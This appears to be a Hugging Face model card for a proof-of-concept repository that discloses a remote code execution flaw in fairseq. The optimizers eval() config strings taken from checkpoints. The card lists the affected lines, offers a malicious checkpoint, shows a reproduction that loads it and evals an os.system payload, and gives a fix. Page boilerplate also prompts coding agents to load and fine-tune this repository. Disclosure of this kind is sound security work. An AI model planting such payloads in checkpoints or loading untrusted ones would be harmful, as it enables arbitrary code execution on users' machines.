Run this model with HF Jobs
Run ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce on Hugging Face's managed compute, monitor its progress, and retrieve the results when it's done.
Paste one of these prompts into your coding agent:
Fine-tune on my dataset
Use HF Jobs to fine-tune https://huggingface.co/ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce. Ask me which dataset to train on, then push the fine-tuned model to a new model repo. Run `hf jobs --help` first to learn the CLI.
Run batch inference
Use HF Jobs to run batch inference with https://huggingface.co/ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce on the inputs in a mounted HF Bucket. Ask me which Bucket to use, then write the outputs back to it and keep each input ID. Run `hf jobs --help` first to learn the CLI.
Instructions to use ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Fairseq
How to use ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce with Fairseq:
from fairseq.checkpoint_utils import load_model_ensemble_and_task_from_hf_hub models, cfg, task = load_model_ensemble_and_task_from_hf_hub( "ryansecuritytest-fanpierlabs/poc-fairseq-eval-config-rce" ) - Notebooks
- Google Colab
- Kaggle
fairseq eval() Config RCE PoC
Vulnerability
fairseq optimizer implementations call eval() on string config values
from checkpoints. A malicious checkpoint with crafted adam_betas achieves
arbitrary code execution when training is resumed.
Affected Code
fairseq/optim/adam.py:91-eval(self.cfg.adam_betas)fairseq/optim/adamax.py:42-eval(self.args.adamax_betas)fairseq/optim/cpu_adam.py:78-eval(self.cfg.adam_betas)fairseq/optim/fused_lamb.py:44-eval(self.args.lamb_betas)fairseq/optim/adafactor.py:55-eval(self.args.adafactor_eps)
Files
malicious_checkpoint.pt- Checkpoint with eval-exploitable adam_betaspoc_fairseq_eval_rce.py- Standalone PoC script
Reproduction
import torch
state = torch.load("malicious_checkpoint.pt", weights_only=False)
adam_betas = state["cfg"]["optimization"]["adam_betas"]
# adam_betas = "__import__('os').system('echo RCE')"
eval(adam_betas) # This is what fairseq does at adam.py:91
Fix
Replace eval() with ast.literal_eval() in all 5 optimizer files.
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support